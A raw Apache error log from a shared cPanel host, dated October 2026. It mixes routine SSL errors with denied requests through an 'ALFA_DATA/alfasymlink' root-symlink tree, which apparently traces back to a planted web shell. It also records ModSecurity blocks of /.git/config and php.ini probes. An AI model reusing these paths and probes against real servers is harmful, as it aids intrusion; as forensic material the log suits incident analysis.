[Mon Oct 26 16:07:11.929840 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:11.970162 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:12.011490 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:12.074214 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:12.119084 2026] [proxy_fcgi:error] [pid 3089355:tid 3089355] [client 20.151.218.88:63461] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:07:14.286359 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.225.98.148:17706] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:07:18.127746 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.231.193.38:49150] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:07:27.141014 2026] [security2:error] [pid 3083765:tid 3083765] [client 147.185.132.90:57023] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at-y_6FL9aMETz-8AU8d1wAAAAQ"]
[Mon Oct 26 16:07:27.141901 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 147.185.132.90:57023] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 16:07:34.288479 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 50.17.193.48:39991] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:07:38.133515 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 98.83.10.183:18602] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:08:29.143649 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 85.208.96.195:38442] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pte_list_desc/slab_size
[Mon Oct 26 16:08:31.723045 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 185.191.171.10:50596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/remote_node_defrag_ratio
[Mon Oct 26 16:08:38.180999 2026] [ssl:error] [pid 3065807:tid 3065807] (5)Input/output error: [client 18.213.70.100:33328] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:08:39.667201 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 185.191.171.17:11782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/hwcache_align
[Mon Oct 26 16:08:58.149915 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.6.5.24:65185] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:09:02.318264 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 44.221.227.90:28436] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:09:06.219985 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.197.82.195:47604] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:09:10.157205 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 23.21.225.190:60621] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/subsystem/drivers/hpet/uevent
[Mon Oct 26 16:09:18.244670 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 100.28.49.152:8235] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:09:22.148744 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.205.74.196:12878] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:09:26.189427 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.215.61.66:7113] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:09:30.203535 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.94.157.25:53476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:09:34.303569 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.85.7.119:28307] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:09:38.206188 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.226.34.98:14870] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:09:42.316030 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 23.21.179.27:50776] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:09:45.080016 2026] [authz_core:error] [pid 3085795:tid 3085795] [client 179.223.203.107:31336] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://five.co.in/redirect.php?ref_host=emsservices.co.uk
[Mon Oct 26 16:09:46.240355 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 35.169.119.108:45484] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:09:58.402614 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 98.83.178.66:9877] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:10:02.290958 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 34.225.138.57:33501] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:10:03.544265 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 85.208.96.203:46578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/validate
[Mon Oct 26 16:10:06.651880 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.162.69.192:48292] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:10:14.305410 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.197.28.78:35278] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:10:18.424281 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.212.86.97:8194] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:10:30.359642 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.209.187.99:20285] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:10:34.546310 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 35.169.119.108:47580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:10:42.273272 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 52.204.174.139:9105] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:09/subsystem/drivers/hpet/bind
[Mon Oct 26 16:10:53.095959 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 85.208.96.209:22314] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:10:56.221544 2026] [security2:error] [pid 3084056:tid 3084056] [client 185.191.171.2:34410] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/kbd/unimaps/cybercafe.uni"] [unique_id "at-z0HKvFNFM41eF9IjlnwAAADc"]
[Mon Oct 26 16:10:56.221581 2026] [security2:error] [pid 3084056:tid 3084056] [client 185.191.171.2:34410] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/kbd/unimaps/cybercafe.uni"] [unique_id "at-z0HKvFNFM41eF9IjlnwAAADc"]
[Mon Oct 26 16:11:01.613321 2026] [security2:error] [pid 3083765:tid 3083765] [client 43.166.247.82:40910] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimox2.php"] [unique_id "at-z1aFL9aMETz-8AU8d3AAAAAQ"]
[Mon Oct 26 16:11:02.614860 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 44.207.252.58:63681] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:1d/subsystem/drivers/hpet/unbind
[Mon Oct 26 16:11:06.330201 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.163.136.244:63163] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:11:06.675884 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 85.208.96.194:57454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-8k/shrink
[Mon Oct 26 16:11:18.366293 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 98.82.39.241:63895] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:11:23.218264 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 18.210.58.238:33651] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1f/subsystem/devices/device:0f/eject
[Mon Oct 26 16:11:30.352521 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 34.192.125.239:22555] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/memory11/node0/cpu1/crash_notes_size
[Mon Oct 26 16:11:46.445869 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.6.5.24:33828] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:11:50.566935 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 52.202.233.37:40114] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:11:58.515740 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 35.171.117.160:11423] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/xen-platform-pci/new_id
[Mon Oct 26 16:12:06.361662 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 35.171.141.42:26478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/event1/device/device/firmware_node/physical_node/driver/uevent
[Mon Oct 26 16:12:14.519881 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.54.95.127:58655] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:12:18.947559 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.218.170.184:49486] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:12:25.626048 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 50.19.79.213:12897] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:12:26.849290 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 52.7.33.248:40618] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/Cavium PTP Driver/new_id
[Mon Oct 26 16:12:31.574841 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 185.191.171.14:18298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/aliases
[Mon Oct 26 16:12:34.475474 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 184.72.95.195:3779] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:12:38.607536 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.45.77.169:16126] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:12:46.430158 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 34.236.41.241:50289] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:12:54.528469 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.87.62.248:1806] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:12:58.441445 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 44.195.145.102:36966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:13:00.451752 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 85.208.96.194:42478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/align
[Mon Oct 26 16:13:08.164005 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 52.5.242.243:30613] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:13:11.439125 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.147.238.89:7195] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:13:18.658759 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 184.72.95.195:48910] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:13:22.765762 2026] [security2:error] [pid 3084056:tid 3084056] [client 54.225.181.161:27231] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/firmware_node/"] [unique_id "at-0YnKvFNFM41eF9IjlpgAAADc"]
[Mon Oct 26 16:13:22.765807 2026] [security2:error] [pid 3084056:tid 3084056] [client 54.225.181.161:27231] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/firmware_node/"] [unique_id "at-0YnKvFNFM41eF9IjlpgAAADc"]
[Mon Oct 26 16:13:26.507194 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.94.199.128:62554] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:13:38.794837 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 44.216.172.204:16182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:13:52.860385 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 85.208.96.198:55064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/validate
[Mon Oct 26 16:13:54.096867 2026] [security2:error] [pid 3065807:tid 3065807] [client 45.148.10.120:56958] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0ghjIL9Z3tuLhXUCu_gAAAAc"]
[Mon Oct 26 16:13:54.097130 2026] [security2:error] [pid 3065807:tid 3065807] [client 45.148.10.120:56958] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0ghjIL9Z3tuLhXUCu_gAAAAc"]
[Mon Oct 26 16:13:54.097398 2026] [security2:error] [pid 3065807:tid 3065807] [client 45.148.10.120:56958] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0ghjIL9Z3tuLhXUCu_gAAAAc"]
[Mon Oct 26 16:13:54.115016 2026] [security2:error] [pid 3084025:tid 3084025] [client 45.148.10.120:56960] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0gjbNxAL0swfcTQjCYwAAACU"]
[Mon Oct 26 16:13:54.115259 2026] [security2:error] [pid 3084025:tid 3084025] [client 45.148.10.120:56960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0gjbNxAL0swfcTQjCYwAAACU"]
[Mon Oct 26 16:13:54.115570 2026] [security2:error] [pid 3084025:tid 3084025] [client 45.148.10.120:56960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0gjbNxAL0swfcTQjCYwAAACU"]
[Mon Oct 26 16:13:54.945431 2026] [security2:error] [pid 3082381:tid 3082381] [client 45.148.10.120:56990] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0gs0m493Zc8QU76tjjAAAAA0"]
[Mon Oct 26 16:13:54.945648 2026] [security2:error] [pid 3082381:tid 3082381] [client 45.148.10.120:56990] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0gs0m493Zc8QU76tjjAAAAA0"]
[Mon Oct 26 16:13:54.945937 2026] [security2:error] [pid 3082381:tid 3082381] [client 45.148.10.120:56990] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0gs0m493Zc8QU76tjjAAAAA0"]
[Mon Oct 26 16:13:55.032925 2026] [security2:error] [pid 3064975:tid 3064975] [client 45.148.10.120:56976] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0gsdX-waAlDqXJHtVUAAAABY"]
[Mon Oct 26 16:13:55.033228 2026] [security2:error] [pid 3064975:tid 3064975] [client 45.148.10.120:56976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0gsdX-waAlDqXJHtVUAAAABY"]
[Mon Oct 26 16:13:55.033654 2026] [security2:error] [pid 3064975:tid 3064975] [client 45.148.10.120:56976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at-0gsdX-waAlDqXJHtVUAAAABY"]
[Mon Oct 26 16:13:58.756161 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 107.20.255.194:15604] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:14:02.882371 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.226.89.140:50114] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:14:06.985379 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.223.115.10:18982] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:14:10.783214 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 44.195.145.102:47652] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:14:14.028318 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 185.191.171.14:60694] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-ParseExt/slab_size
[Mon Oct 26 16:14:14.987667 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 34.236.41.241:17268] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:14:26.734663 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 100.24.167.60:12673] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:14:30.681743 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.200.58.199:59680] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:14:38.701440 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 3.93.98.99:33431] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:14:42.591501 2026] [ssl:error] [pid 3084056:tid 3084056] (5)Input/output error: [client 3.211.181.86:63728] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:14:55.358877 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.205.170.13:63691] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:14:58.217271 2026] [security2:error] [pid 3084087:tid 3084087] [client 107.172.76.131:56344] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-0tsIUSmVbci-Yv-8AEgAAAEo"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 16:14:58.217323 2026] [security2:error] [pid 3084087:tid 3084087] [client 107.172.76.131:56344] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-0tsIUSmVbci-Yv-8AEgAAAEo"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 16:15:02.567955 2026] [authz_core:error] [pid 3058816:tid 3058816] [client 34.154.216.187:60790] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Mon Oct 26 16:15:02.839994 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 3.213.213.161:3485] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:06/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:11/eject
